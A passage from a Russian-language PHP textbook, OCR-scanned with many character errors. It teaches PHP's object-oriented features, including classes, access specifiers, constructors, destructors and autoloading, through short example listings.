та ким образом, чтобы свести к минимуму усилия по их поддержке дл я сопровождающего персонала компаний, в связи с чем ко всем приложениям разрабатываются удобные и быстрые системы ад министрирования . Большое внимание уделяется повторному использованию кода - не секрет, что время Web-разработчиков стоит гораздо дороже, чем ко мпьюте рное вре­ мя. Большой процент повто рно испол ьзуемого кода позволяет добиться зна­ чительного конкурентного преимущества. Благодар нос ти Авторы выражают признательность сотрудникам издател ьства "БХВ -Петер­ бург", благодаря которым наша рукопись увидела свет, а также посетителям форума http://www .softtime.ru/forum/ за интересные вопросы и ко нструк­ ти вное обсуждение.
ЧАСТЬ I ОБЩИЕ ВОПРОСЫ
ГЛАВА 1 06ъектно-ориенти рова н н ые возможности РНР Последние два десятилетия в П-индустрии получил широкое распростране­ ние объектно-ориентированный подход. Его введе ние связано со все возрас­ таю щим объемом программных систем, с кото рыми приходится стал ки ваться разработчикам. ЗА МЕЧАНИЕ Данная глава кратко рассматривает объектно-ориентированные возможно­ сти РНР. Всестороннему рассмотрению предмета посвящена наша отдель­ ная книга "Объектно-ориентированное программирование на РНР". 1.1. Введение в объектно-ориентированное программирование Независимо от языка программирования объектно-ориентированный подход имеет ряд общих принципов, а именно: CI возможность создавать абстрактные типы данных, позволяющая наряду с предопределенными типами данных (таки ми как integer, bool, double, string) вводить свои собственные типы дан ных (классы) и объявлять "переменные" таких типов данных (объекты) . Создавая свои собственные типы дан ных, программист оперирует не маш инным и терминам и (пере­ менная, функция), а объе.ктам и реального мира, поднимаясь тем самым на новый абстрактный уровень. Яблоки и людей нельзя умножать друг на
8 Часть 1. Общие вопросы друга, однако низкоуровневый код запросто позволит совершить такую логическую ошибку, тогда как при использовании абстрактных типов дан ных такая операция стан овится невозмож ной; CJ инкапсуля ция, допускающая взаимодействие пользователя с абстрактны­ ми типами данных только через их интерфейс и скрывающая внутрен­ нюю реализацию объекта, не до пуская влияния на его внутреннее состоя­ ние. Память человека ограничена и не может содержать все детал и огромного проекта, тогда как использование ин капсуляции позволяет разраб отать объект и использовать его, не заботясь о внутренней реали­ зации, прибегая тол ько к небольшому числу интерфейсных методо в; CJ наследование, позволяющее развить существующий абстрактный тип дан ных - кл асс, создав на его основе новый класс . При этом новый класс автоматически получает возможности уже существующего абст­ ракт ного ти па данных. Зачастую абстрактные типы данных сл ишком сложн ы, поэтому прибегают к их последовател ьной разработке, выстраи­ вая иерархию классов от общего к частному; CJ полимор физм, допускающий построение целых це почек и разветвленных деревьев наследующих друг другу абстрактных типов дан ных (классов). При это м весь набор кл ассов будет иметь ряд методов с одинаковыми на­ званиями: любой из кл ассов данного дерева гарантированно обладает ме­ тодом с таким именем . Этот принцип помогает автоматически обрабаты­ вать массивы данных разного типа. Абстрактные типы данных необходимы для того, чтобы дать програм м исту вводить в программу переменные с жел аемыми свойствами, так как возмож­ ностей существующих в языке типов дан ных зачастую не хватает. Связи ме­ жду объектами реального мира зачастую настол ько сл ожны, что для их эф­ фективного моделирования необходим отдел ьный язык программирования . Разрабатывать специализированный язык програм мирования для каждой прикладной задачи - очень дорогое удовольствие. Поэтому в языки про­ грам мирования вводится объектно-ориентированный подход, который по­ зволяет создавать свой мини-язык путем создан ия классов и их объектов. Пе­ ременными такого мини-яз ыка программирования являются програм мные объект ы, в качестве типа дл я которых выступает класс . Класс описывает со­ став объекта - переменные и функции, которые обрабатывают переменные и тем самым определяют поведение объекта (рис. 1.1).
Глава 1. Объектно-ориентироваННblе возможности РНР ( ::- ) "г]: 1 Объект I ",.-_.. . . I I с- ти п - ) -- ---- ../ U Переменная 'т -- � Рис. 1.1. Переменные объявляются при помощи типа, объекты при помощи класса 1.2. Создан ие класса 9 Класс объявляется при помощи кл ючевого сл ова class, после которого сл е­ дует уникальное имя класса и тело кл асса в ф игурных скобках. В теле кл асса объявляются переменные и функции кл асса, которые соответственно назы­ ваются методами и члеНClJ\;fИ. В листинге 1.1 приводится общий синтакс ис объя вл ения кл асса. Листинг 1.1 . Объявление класса <?php class имя класса // Члены и // ме тоды класса ?> Важной особенностью РНР является то, что РНР-скрипты могут включаться в документ при помощи тегов <?php и ?>. Один документ может содержать множество включений этих тегов, однако класс должен объявляться в одном неразрывном блоке <?php и ?>. Попытка разорвать объявление кл асса приво­ дит к генерации интерпретатором ошибки разбора Parse error: parse еггог, unexpected ';', expecting T_FUNCTION.
10 Ча сть 1. Общие вопросы Так как прерывать объя вление класса недопустимо, его не удастся механиче­ ски разбить и при помощи инструкций include (), include опсе ( ) , requi re (), require_once () . Допускается, однако, использование этих конст­ рукций внутри методов . ЗА МЕЧА НИЕ Напомним, что при помощи инструкций include ( ), include_опсе ( ), re­ qu ire (), require_once () можно вкпючать в соста в РНР-скриптов другие РНР-скрипты . Это позволяет разбивать объемные многострочные файлы на множество мелких файлов, кото рые программисту проще воспри нять. При отсутствии вкпючаемого файла инструкция include ( ) ге нерирует пре­ дупреждение, однако не останавливает работу скрипта, в то время ка к require () в это м случае аварийно завершает работу приложения. Допус­ кается множественное вкпючение файлов друг в друга , что может приво­ дить к запутанным ситуациям и многократному вкпючению файлов в при­ ложение. Суффикс опсе означает, что файл будет вкпючен лишь один раз, и повторный вызов инструкци и include_once () или requi re_once () игно­ рируется. Это особенно удоб но для вкпючения библиотек функций и кпас­ сов, повто рное объявление которых вызывает ошибку. 1.3 . Создание объекта Объект объявляется при помощи кл ючевого сл ова new, за которым следует имя кл асса. В листинге 1.2 создается пустой класс еmр И объявляется объект $obj дан ного кл асса. ЗА МЕЧА НИЕ П осле имени кпасса могут следовать необязательные круглые скобки. Листинг 1.2. Создание класса етр И объявление объекта $оЬ) данного класса <?php ?> class етр {} $obj = new еmр;
Глава 1. Объектно-ориентированные возможности РНР 11 ЗА МЕЧАНИЕ Имена классов, в отличие от имен переменных и объектов, не зависят от регистра, поэто му можно испол ь зовать для объявления кл ассов имена етр , Етр () , ЕМР (). Однако использование вместо объекта $obj переменной $Obj приведет к ошибке - интерпретатор РНР будет сч итать , что в про­ грамму введена новая переменная. Объект $obj является обычной переменной РНР, правда, со специфичными свойствами. Как и любую другую переменную, объект можно передавать в качестве параметра функции, использовать как элемент массива ил и при­ сваивать ему новое значение. В листи нге 1.3 приводится пример, в котором объекту $obj по мере выполнения програм мы присваивается некото рое чи­ словое значение, и $obj становится переменной числового типа. Листин г 1.3. Объект - это обычная перемен ная <?php class етр { } $obj = new етр (); $obj = 3; echo $obj; // 3 ?> Объект существует до конца времени выполнения скрипта ил и пока не будет уничтоже н явно при помощи конструкции uns et () (л истинг 1.4). Использо­ ван ие конструкци и uns et () может быть полезным, есл и объект занимает большой объем оперативной памяти и ее следует освободить, чтобы не до­ пустить переполнения. Листинг 1.4. Объект - это обычная переменная <?php ?> // Объявление класса clas s етр {} // Создание объекта класса $obj = new етр() ; // Уничтожение объекта uns et ($obj );
12 Часть 1. Общие вОПРОСbl в отличие от других языков програм мирования объект, объявленный внутри блока, ограниченного фигурными скобкам и, существует и вне его, не подвер­ гаясь уничтожению при выходе из блока. 1.4. Инкап суляция. Спецификаторы доступа Как было показано в предыдущем разделе, класс может использоваться без методов и членов, однако пользы в это м случае от него не больше, чем от переменной, которая не может хран ить значения. Как правило, кл ассы содержат члены и методы. Часть из них будет использоваться внешним раз­ работчиком, часть предназначена тол ько для внутреннего использования в рамках кл асса. РНР предоставляет специальные кл ючевые слова - сnецифu­ кап1ОРЫ доступа, позволяющие указать, какие члены и методы доступны из­ вне, а какие нет. Это позволяет реал изовать принцип инкапсуляции. Открытые чл ены кл асса объявляются спецификато ром доступа public и доступны как методам кл асса, так и внешнему по отношению к кл ассу коду. Закрытые методы и чл ены класса объя вля ются при помощи спецификатора private и доступны только в рамках кл асса; обратиться к ним извне невоз­ можно. ЗАМЕЧАНИЕ Помимо спецификато ров public и private в РНР подд ерживается специ­ фикатор protected, испол ьзуемый при наследовании и подробно рассмат­ риваемый далее. В более ран них версиях дл я объя вления члена класса использовал ось ключевое сл ово var. Члены, объявленные с его помощью, были открытыми. В те кущих версиях РНР по-прежнему допускается ис­ пользовать кл ючевое сл ово var дл я объявления членов класса, однако это не рекомендуется , а само ключевое сл ово признано устаревшим. С большой долей вероятности оно будет исключено из РНР 6. в листинге 1.5 представлен кл асс " сотрудник" (employee) , который содержит четыре члена: О $surname - фамилия сотрудника; О $name - имя сотрудника; О $pat ronymic - отчество сотрудника; О $age - возраст сотрудника.
Глава 1. Объектно-ориентированные возможности РНР Листинг 1.5. Кл асс employee <?php ?> class employee publ ic $surname ; риЬНс $name ; public $patronymic ; private $age ; 13 Рассмотрим пример. Пусть класс employee располагается в файле class . employee . php . В листинге 1.6 объя вляется объект $еmр класса empl oyee, при это м члены кл асса получают необходи мые значения и выво­ дятся в окно браузера. Листинг 1.6. Обращение к чле н ам кл асса empl oyee <?php ?> 11 Подключаем объявление класса require_once ("class . employee .php " ); 11 Объявляем объект класса employee $еmр = new employee () ; 11 Присваиваем значения членам кл асса $emp->surname "Борисов "; $emp->name "Игорь "; $emp ->patronymi c "Иванович" ; 11 $emp->age = 23; 11 Ошибка 11 Выводим члены класса echo $emp->surname ." ".$emp ->name ." " .$emp ->patronymic . "<br> " Как видно из листинга 2.9, при обращении к члену класса испол ьзуется опе­ ратор ->, после которого следует ввести имя этого члена. Заметьте, что при обращении к членам класса не добавляется символ $.
14 Часть 1. Общие вопросы Обращение к закрытому члену класса $age завершится ошибкой Fatal error: Cannot access private property employee : :$age . На рис. 1 .2 приводится схе­ матическое изображение процесса доступа к членам объекта, снабженным разными спецификато рами доступа. '" ) ./ Рис. 1.2. Открытые и закрытые член,Ы объекта 1.5 . Метод ы класса. Член $this Популярность объектно-ориентированного подхода заключается в то м, что кл ассы представляют собой не просто контейнеры для хранения переменных (в качестве таких ко нтейнеров в РНР могут выступать ассоциативные масси­ вы), но таюке позволяют включать методы, обрабатывающие как откр ыты е, так и закрытые члены класса. Метод кл асса представляет собой обычную функцию РНР, которую предва­ ряет один из спецификато ров доступа. В листинге 1.7 приводится пример класса cls_mth, В состав которого входит метод show_me ssage () . Задача ме­ тода сводится к выводу в окно браузера сообщения Неllо world !. ЗАМЕЧАНИЕ В листинге 2.12 можно опустить спецификатор доступа риЫ ic перед мето­ дом show_me ssage () . в отличие от других объектно-ориентированных язы­ ко в, есл и в РНР не уточняется спецификатор, считается , что метод объяв­ лен со спецификатором public. Именно потому, что в разных язы ках программирования испол ьзуются разные подходы , не рекомендуется опус­ кать спецификатор доступа при объявлении метода .
Глава 1. Объектно-ориентироваННblе возможности РНР 15 Листинr 1.7 . Объя вление метода класса <?рЬр class cls rnth public function show_rn essage () есЬо "Hello world! "; $obj = new cls_rnth (); $obj ->show_rne ssage () ; ?> в листинге 1.7 метод кл асса не использует ни каких членов, однако, как пра­ вило, методы вводят именно для обработки членов кл асса. Для обращения к любому элементу класса внутри метода следует применять конструкцию $this-> . Член $this, который неявно присутствует в каждом классе, являет­ ся ссылкой на текущий объект класса. Вернемся к классу ernployee, определенному в листинге 1 .5. Класс содержит закрытую переменную $age, определяющую возраст сотрудника. Создадим четы ре метода : О get_age () - метод, возвращающий значение закрытого члена $age; О set_age () - метод, возвращающий значение закрытого члена $age и проверяющий его принадлежность к. числовому типу дан ных и проме­ жутку от 18 до 65; о get_info () - метод, возвращающий фамилию и имя сотрудн ика; О get_full_info () - метод, возвращающий фамилию, имя и возраст со­ трудника. ЗА МЕЧАНИЕ Следует обратить внимание на то , что открытые методы и члены располо­ же ны в начале кл асса, а закрытые - в ко нце. Это негл асное правило по­ зволяет сосредоточить внимание программиста в первую очередь на от­ крытом интерфейсе.
16 Ча сть 1. Общие вопросы Листинг 1.8 . Использование открытых методов ДЛЯ досту па к закрытому чле ну класса <?рЬр ?> class ernployee / / Открытые члены public $surnarne ; риЬНс $пarnе ; public $patronyrnic; // От крытые ме тоды public funct ion get_age () return $this->age ; public function set_a ge ($val ) ( $val = intval ($val); if($val >= 18 && $val <= 65) $this->age = $val ; return true ; else return false ; public funct ion get_info () return $this->surnarne ." " .$thi s->narne ." ".$th is->patronyrnic; public function get_full_info () return "($this->get_info () } ({$this->get_a ge () })"; // Закрытые члены private $age ;
Глава 1. Объектно-ориентированные возможности РНР 17 Подход, представленный в лист инге 1.8, позволяет удосто вериться , что за­ крытый член $age получил ко рректное значение. Рассмотрим подробнее ме­ тоды get_age ( ) И set_age ( ).Метод get_ age ( ) не принимает ни одного па­ раметра - единственная его задача обратиться к закрытому члену $age и вернуть это значение вызвавшему его коду. На первый взгляд, тако й подход может показаться избыточным - вместо непосредственного обращения к члену $age вводится функция-посредник, на вызов которой затрач иваются л ишние ресурсы. Однако лишние затраты на проектирование методов досту­ па к закрытым членам , а также вызов функций вместо прямого обращения с л ихвой окупаются в дальнейшем . Например, дл я вычисления текущего воз­ раста сотрудника на основании свед ений из базы данных, актуал ьных на мо­ мент заполнения анкеты (вероятно, нескол ько лет назад), не придется менять весь код, использующий класс employee: достато чно измен,ИТЬ внутреннюю реализацию метода get_age ( ), после чего изменения автоматически отразят­ ся на всей системе. При проектировании методов, которые обращаются к внутренним членам класса, необходимо следить за те м, что к членам класса следует обращаться через префикс $this->, а при обращении к параметрам метода данный пре­ фикс не требуется . В большинстве случаев инте рпретатор РНР не сообщит о наличии ошибок, если при обращении к внутреннему члену класса не ис­ пол ьзуется префикс $this->, а при обращении к параметру метода преф икс $this-> испол ьзуется. При это м будет создана новая переменная с нулевым значением . Эта ошибка очень распространена и связана с фундаментальной особенностью РНР - отсутствием типизации : испол ьзован ие переменной с любым именем приводит к создан ию переменной с эти м именем . ЗАМЕЧАНИЕ Для того чтобы заста вить РНР сообщать о попытках обращения к необъяв­ ленным переменным, необходимо в конфигурационном файле php. ini доба­ вить к директиве error_reporting ко нстанту E_NOT I CE дЛЯ отображения замечаний или включить отображение всех видов ошибок, предупреждений и замечаний, установив значение директивы в Е_ALL. Метод set_age () из листинга 1.8 принимает единственный параметр $val, который при помощи функции intval () приводится К числ овому типу. По­ сле этого осуществляется проверка, принадлежит ли параметр $val интерва­ лу от 18 до 65. Если парам етр удо влетворяет это му условию, закрытый член класса $thi s ->age получает новое значение, а метод возвращает значение true, свидетельствующее об ус пешном выполнении операции. Есл и новое значение не удо влетворяет условию, установленному для члена $this->age,
18 Часть 1. Общие вопросы метод set_age () возвращает значение false, говорящее о неудач ном завер­ шении операции. Следует обратить внимание на формирование строк в методах get_info () И get_full_info (). Строки в РНР объединяются при помощи символа точки (.), при это м все типы, отличные от строкового, приводятся К нему автомати­ чески. Однако это не единственный способ формирования строки : можно прибегнуть к так называемой интерп оля ции, при которой переменная встав­ ляется в строку, заключеюгую в двойные кавычки. Например, переменная $name = "Hello", подставленная в строку "$narne world ! ", при водит К фор­ мированию строки "Hello world !". ЗА МЕЧАНИЕ В ОДИ НОЧНЫХ ка вычках значение переменной не интерполируется , поэто му строка I $narne world ! I отображается как есть - I $narne world ! 1 . Аналогично можно подставлять в строку значения членов класса. Однако конструкция $this->имя_члена достаточно сложна для инте рпретаци и. Для того чтобы интерпретатор мог корректно различить обращение к члену клас­ са из строки, необходимо закл ючить переменную в фигурные скобки, как это проде монстрировано в методе get_full_info (). в листинге 1.9 приводится пример использования класса ernployee из листи н­ га 1.8. Листинг 1.9 . Использова н ие класса exnployee <?php ?> // Подключаем объявление класса require_once ("class . ernployee . php " ); // Объявляем объект класса ernp loyee $ernр = new ernployee () ; // Передаем значения членам кл асса $ernp- >surnarne "Борисов " ; $ernp - >narne = "Игорь "; $ernp - >patronyrnic = "Иванович "; if ( !$ernp->set_age (23) ) exit ("Ошибка вычисления возраста") ; echo $ernp->get_full_info () ; // Борисов Игорь Иванович (23)
Глава 1. Объектно-ориентироваННblе возможности РНР 19 1.6. Дамп объекта При отладке объектно-ориентирован ных приложений зачастую требуется проанализировать текущее состояние объекта . Для этого предусмотрена функция print_r (). в листинге 1.10 с ее помощью выводится структура объ­ е кта $еrnр кл асса ernployee. Для удобства восприятия вызов функции p rint_r () обрамляется НТМL-тегами <pre> и </pre>, которые сохраняют структуру переносов и отступов при отображении резул ьтата в браузере. Листинг 1.10. Получение структуры объекта класса employee <?php ?> // Подключаем объявление класса require_опсе ("class . ernployee . php" ) ; // Объявляем объект класса ernployee $еrnр = new ernployee(); $ernp->surnarne "Борисов "; $ernр - >пarnе "Игорь "; $ernp->patronyrnic "Иванович "; $ernp->set_age (23) ; // Выводим структуру объекта echo "<pre>"; print_r ($ernp) ; echo "</pre>" ; Результатом работы скрипта из листинга 1.1О являются следующие строки : ernp loyee Ob ject [su rnarne ] => Борисов [пarnе] => Игорь [patronyrnic] => Иванович [age : private ] => 23 Таким образом, метод возвращает все чл ены объекта, в том числе и закры­ тые. Закрытые члены помечаются спецификато ром private.
20 Часть 1. Общие вопросы ЗАМЕЧАНИЕ Функци ю print_r () можно использовать для просмотра не тол ько структу­ ры объектов, но и стру ктур ы массивов (как ассоциати вных, так и не ассо­ циативных) , а та кже для вывода значения обычной переменной. 1.7 . С пециальные методы класса Помимо методов, создаваемых разработч иком кл асса, объектно-ориентиро­ ванная модел ь РНР предоставляет разработч ику специальные методы . Спе­ ци альные методы позволяют разработчику задать нея вные свойства поведе­ ния объекто в и выполняются, как правило, авто матически . В табл . 1.1 представлен список специальных методов, предоставляемы х объ­ ектно-ориентированной модел ью РНР. Более подробно каждый из методов обсуждаетс;я в последую щих разделах. ЗАМЕЧАНИЕ Каждый специальный метод пред варяется двумя символ ами подч еркивания. Та блица 1.1. Специальные методы кла ссов Метод Оп исание - cons truct () Конструктор кл асса ; метод , который автоматически выпол- няется в момент созда ния объекта до вызова всех осталь- ных методов кл асса - de struct () Деструктор кл асса ; метод, котор ый авто матически выпол- няется в момент уничтожения объекта - autoload () П ерегружаемая функция, не являющаяся методом кл асса ; позволяет авто матически загружать кл асс при п о пытке создания его объекта - set () Аксессор; метод , пред назначенный для установки значе- нию свойству _get () Аксессор; метод, пред назначенный для чтения свойства - isset () Позволяет задать логику проверки существования свойст- ва при помощи ко нструкции isset ()
Глава 1 . Объектно-ориентированные возможности РНР 21 Та блица 1.1 (окончание) Метод Описание unset () - Позволяет задать логику удаления свойства при помощи ко нструкции uns et () саН() - Позволяет задать динамический метод - tos tring () Позволяет интерпол ировать (подста влять) объект в строку - s et_state () Позволяет осуществить экспорт объекта clone () Позволяет управлять кл онированием объекта - - s leep () Позволяет управлять поведением объекта при его сериа- л изации при помощи функции serialize () - wakeup () Позволяет управлять поведением объекта при его восста- новлении из се риализованного состояния при помощи функции un serialize () 1.8. Функции для работы с методам и и классами Пом имо методо в, входящих в состав классов, РНР предоставляет большое количество внешних функций, облегчающих работу с кл ассами и объекта ми (табл . 1 .2); часть из них более подробно обсуждается в последу ющих разде­ лах данной главы. Та блица 1.2. Список функций для работы с классами и объектами Фун кция Описание ca ll_user_me thod_a rray Осуществляет вызов метода $method_п аше ($me thod_п аше , $obj объекта $obj с масси вом параметров $par. [, $par] ) Функция признана устаревшей и будет исклю- чена из последующих версий языка Р Н Р; вме- сто нее рекомендуется использовать функцию cal l_us er_func_array () call_user_func_array Осуществляет вызов метода или функции ($me thor_n ame , $par) $method_name с массивом параметров $par
22 Фун кция call user rne thod - - ($rne thod_пате , $par [ , $parl, call user func - - $obj ...] ] [, ) ($rne thod_пате [ , $par $parl , ...]]) class exists ($class_n arne ) get_class_rne thods ($class_narne ) get class vars - - ($class_narne ) get_class ($obj ) [, get_declared_classes () get_declared_interfaces () get_obj ect_v ars ($obj ) get_parent_class ($obj ) interface exists ($int er- face пате [ , $autoload ] ) - Часть 1. Общие вОПРОСbl Та блица 1.2 (продолже ние) Описание Осуществляет вызов метода $rnethod_пате объекта $obj с параметрами $par, $parl и т. д. Функция признана устаревшей и будет исключена из последующих версий языка РНР; вместо нее рекомендуется использовать функцию call_us er_func () Осуществляет вызов метода или функци и $rnethod_narne С параметрами $par, $parl ит.д. Возвращает true, есл и класс с именем $class_narne объявлен, и false - в проти в- ном случ ае Возвращает массив с именами методов кл ас'са $class_narne Возвращает массив с именами и значения членов класса $class_narne Возвращает имя класса , кото рому принадл е- жит объект $obj Возвращает массив с именами объявленных классов Возвращает массив с именами объявленных интерфей сов Возвращает массив с именами и значениями членов объекта $obj Возвращает имя базового кл асса для объекта или класса $obj Возвращает true, если инте рфейс с именем $int erface_narne существует, и false - в проти вном случае. Если необязательный параметр $autoload равен true, функция пытается загрузить инте рфейс при помощи функции _autoload ()
Глава 1. Объектно-ориентированные возможности РНР 23 Фун кция i s_a ($obj , $class_narne ) i s саllаЫе ($arr [, $syn tax_only [, $саll- аЫе_паrnе ] ] ) is_obj ect ($obj ) is sub class of $cla s s_narne ) ($obj , rne thod exists $rnethod_narne ) ($obj , print_r ($obj [, $re- turn] ) prope rty_exists ($class_narne , $var) Та блица 1.2 (окончание) О писа ние Принимает в качестве первого параметра объ- ект $obj , а в качестве второго - имя базового класса $class_narne И возвращает true, если объект является экземпляром класса $class_narne или экземпляром его потомка, и false - В противном случае Определ яет, может ли быть вызван метод класса Возвращает true, есл и переменная $obj яв- ляется объектом, и fa lse - В противном слу- чае Принимает в качестве первого параметра объ- ект $obj , а в качестве второго - имя базового кл асса $class_narne И возвращает true, если объект является экземпляром потомка класса $class_narne , И false - В противном случае Возвращает true, если объект $obj обладает методом $rnеthod_narne , И fa lse - В проти в- ном случае Возвращает дамп объекта $obj . Если пере- менная $return принимает значение true, функция возвращает результат в виде строки , в противном случае резул ьтат выводится не- посредственно в окно браузера Возвращает true , если переменная $var является членом кл асса $class_narne , И false - В противном случае 1.9. Конструктор. Метод _constructO Констру кт ор - это специальный метод класса, который автоматическй вы­ пол няется в момент создания объекта до вызова всех остал ьных методо в кл асса. Данный метод используется гл авным образом для инициализации объекта, обеспечивая согласованность его членов.
24 Часть 1. Общие вопросы Для объявления конструктора в кл ассе необходимо создать метод с именем _ construct ( ). в листинге 1.11 приводится пример объявления класса c1s, содержащего конструктор, который выводит сообщение Вызов конструкто­ ра и инициализирует закрытый член $var. ЗАМЕЧАНИЕ В предыдущих версиях РНР имя конструктора совпадало с именем кл асса. В рамках обратной совмести мости в РНР 5 допускается использование ста рого метода Qбъявления конструктора, однако такой подход признан ус­ таревшим и может б ыть исключен из следующих версий языка. Листи нг 1.11. Использование конструктора <?php ?> c1ass c1s private $var ; pub1ic function _construct () echo "Выз ов KOHCTpYКTopa<br>"; $th is->var = 100; $obj = new c1s(); echo "<pre> "; print_r ($obj ) ; echo "</pre>" ; Результатом работы скрипта из листинга 1.1 1 являются следующие строки : Выз ов конс труктора c1s Ob ject [var: private] => 100 Важно понимать, что вызов конструктора производится автоматически во время выполнения оператора new. Это позволяет разработчику кл асса быть
Глава 1. Объектно-ориентированные возможности РНР 25 уверенн ым, что чл ены класса получат корректную инициализацию . Созда­ вать специальный метод дл я инициализации объекта считается дурным то­ н ом - внешний програм мист может забыть его вызвать. Обычно в объектно-ориентирован ных языках програм мирования явный вы­ зов конструкто ра вообще не допускается, поскол ьку это противоречит прин­ ципу инкапсуляции, однако в РНР конструктор можно вызвать не тол ько в сам ом кл ассе, но и из внешнего кода (л истинг 1.12). Л истинr 1.12. Вызов конструктора внутри класса и из внешнеrо кода <?php ?> class cls private $var; public funct ion __construct () ( echo "Выз ов KOHCTpYKTopa<br>"; $this->var = 100; publ ic function anarhi st () $this->__cons truct () ; $obj = new cls(); $obj ->__construct () ; $obj - >anarhi st () ; Представленный в листинге 1.12 скрипт вернет следующие строки : Выз ов конс труктора Вызов конс труктора Выз ов конструктора В первый раз конструктор вызывается неявно при создан ии объекта $obj , во второй раз - явно (метод является откр ытым), в третий раз вызов происхо­ дит из метода anarhi st ( ). Следует избегать манипул ирования конструкто­ ром напрямую. Если одни и те же действия могут выполняться как ко нструк­ тором, так и каки м-либо другим методом, предпочтительнее определ ить отдельный метод для выполнения этого набора действий.
26 Ча сть '. Общие вопросы 1.10. Параметры конструктора Конструктор, как и любой другой метод, может принимать параметры, которые пеРl:даются ему оператором new В круглых скобках, следующих после имени кл асса. В листинге 1.13 приводится класс point, предназначенный для модел и­ рования точки в двумерной декартовой системе координат. Два его члена $Х и $У определяют координаты точки по оси аб сцисс и ординат соответственно. Листинг 1.13. Передача пара метров конструктору <?php ?> class point publ ic function __construct ($x, $у) $this->X = $х; $this->Y = $у; publ ic fuction get_x () return $this->X; public fuct ion get_y () return $this->Y; private $Х; private $У; в листинге 1.14 демонстрируется использование конструктора, инициализи­ рующего закрытые члены кл асса. Листинг 1.14. Переда ча параметров конструктору <?php // Подключаем реализацию класса point require_once ("class . point . php " );
Глав а 1. Объектно-ориентированные возможности РНР ?> // $obj = new point (); // Вывод предупреждения $obj = new point (10, 20) ; echo $obj->get_x () . " " . $obj->get_y(); // 10 20 27 Важно отметить, что если указать параметры при объявлении об1?екта, то ин­ тер претатор РНР выведет в окно брауз ера предупреждение Missing argument 1 fo r point: :_constructQ (Пропущен первый аргумент для конструктора класса point) . РНР не поддерживает перегрузку методов - создание нескол ьких разНЫХ конструкторов (или ДРУГИХ методов) с разным кол ичеством аргум ентов. Од­ нако можно обойти это ограничение, передавая конструктору несколько ар­ гум ентов, не все из которых обязательны. В листи нге 1.15 класс point пере­ работан таким образом, что может принимат ь: LI два аргумента - в этом случае значения закрытых чл енов $Х и $У опре­ деляются внешним программистом; LI один аргум ент - при это м внешний программист определяет тол ько зна­ чение закрытого члена $Х, а член $У получает нулевое значение; LI ни одного аргумента - оба закрытых члена $Х и $У получают нулевые значения. Листи нг 1.15. Использование параметров по умолчан и ю <?php class point public function __construct ($x = О, $у = О) $this->X = $х; $this->Y = $у; public function get_x () return $this->X; pub lic function get_y ( ) return $this->Y;
28 ?> private $Х; private $У; Ча сть 1. Общие вопросы Если один из параметров конструктору не передается, он получает значение по умолчанию. 1.11. Деструктор. М етод _destructO Дес тру кт ор - это специальный метод кл асса, который автоматически вы­ пол няется в момент уничтоже ния объекта. Данный метод вызывается всегда сам ым последним и используется гл авным образом для корректного освобо­ ждения зарезервированных конструкто ром ресурсов . Для объявления деструктора в классе необходимо создать метод с именем _de struct ( ) . в листинге 1.16 приводится пример объявления класса cls, конст­ руктор которого выводит сообщение Вызов конструктора, метод print_ffiS g () - сообщение Вызов метода, а деструктор - Вызов деструктора. ЗА МЕЧАНИЕ Деструктор появился тол ько в версии РНР 5 .0.0. Допускается объявление закрытого деструктора, однако при этом попытка уничтожен и·я объекта за­ ка нчивается выводом предупрежде ния Wa rning: Call to private point: :_destructO from context " during shutdown ignored. Листинr 1.16. Использование деструктора <?php class cls public function _construct () echo "ВЫЗ ОВ KOHCTpYKTopa<br>" ; public function print_ffisg () echo "ВЫЗ ОВ ме тода<Ьr> ";
Гла ва 1. Объектно-ориентированные возможности РНР publ ic function __de struct () echo "ВЫЗ ОВ деСТРуктора<Ьr> "; ?> В л истинге 1.17 приводится пример создан ия объекта класса cls. Л истинr 1.17. Соэда fiие объекта, в котором реализован деструктор <?php ?> // подключаем реализацию класса cls requi re_once ("class .cls .php " ); $obj = new cls()j $obj ->print_msg () ; echo "ПРОИЗВОЛЬНЫЙ TeKcT<br> "; 29 Скрипт, представленный в листинге 1.17, выводит в окно браузера следую­ щие строки: Выз ов конструктора Вызов ме тода ПРОИЗВОЛЬ НЫЙ текст Выз ов деструктора Как можно видеть , деструктор выполняется в последнюю очередь и уничто­ жает объект при завершении работы скрипта. ЗА МЕЧА НИЕ Явно вызывать деструктор не следует, поскольку в это м случае он будет вызван дважды. Дл я одн означного вызова деструктора лучше воспол ьзо­ ваться конструкцией uns et () , уничтожа ю щей объект. 1.12. Автозагрузка классов. Функция _aut% adO Обычно класс оформляется в виде отдел ьного файла, который вставляется в нуж ном месте при помощи конструкци и require_once () . Есл и используется
30 Часть 1. Общие вопросы большое кол ичество классов, то в начале скрипта выстраивается целая вере­ ница конструкций require_once (), что может быть не очень удобно, особен­ но если путь к классам приходится часто изменять . Начиная с РНР 5, разра­ ботчику предоставляется специальная функция _autoload (), которая позволяет задать путь к директории с кл ассами и автоматически подключать классы при обращении к ним в теле программы. Данная функция принимает в качестве единственного параметра имя класса (листинг 1.18). ЗА МЕЧА НИЕ Функция _autoload () не является методом класса - это независимая функция, кото рую РНР-разработчик может перегружать. Листи нг 1.18. Автозагрузка классов <?php ?> // ФУНКЦИЯ автозагрузки кл ассов funct ion _autoload ($classnarne) require_once ("class/class . $classnarne .php") ; 1.13. Аксессоры. Методы _setO и _getO Неписаным правилам объектно-ориентированного програм мирования явля­ ется использование только закрытых членов, доступ к которым осуществля­ ется через открытые методы класса . Это позволяет скрыть внутреннюю реа­ лизацию кл асса, ограничить диапазон значений, которые можно присваи вать члену, и сделать член доступным только для чтения. Неудобство заключается в том, что для каждого из чл енов приходится созда­ вать отдельный метод для чтения и присваивания нового значения, имена которых зачастую не совпадают с именами членов. Выходом из ситуации является использование свойств, обращение к которым выглядит точ но так же, как к открытым членам класса. Для их реализации не­ обходимо перегрузить специальные методы _get () И _s et (), которые часто называют аксессорами. Метод _get ( ), предназначенный для чтения свойства,
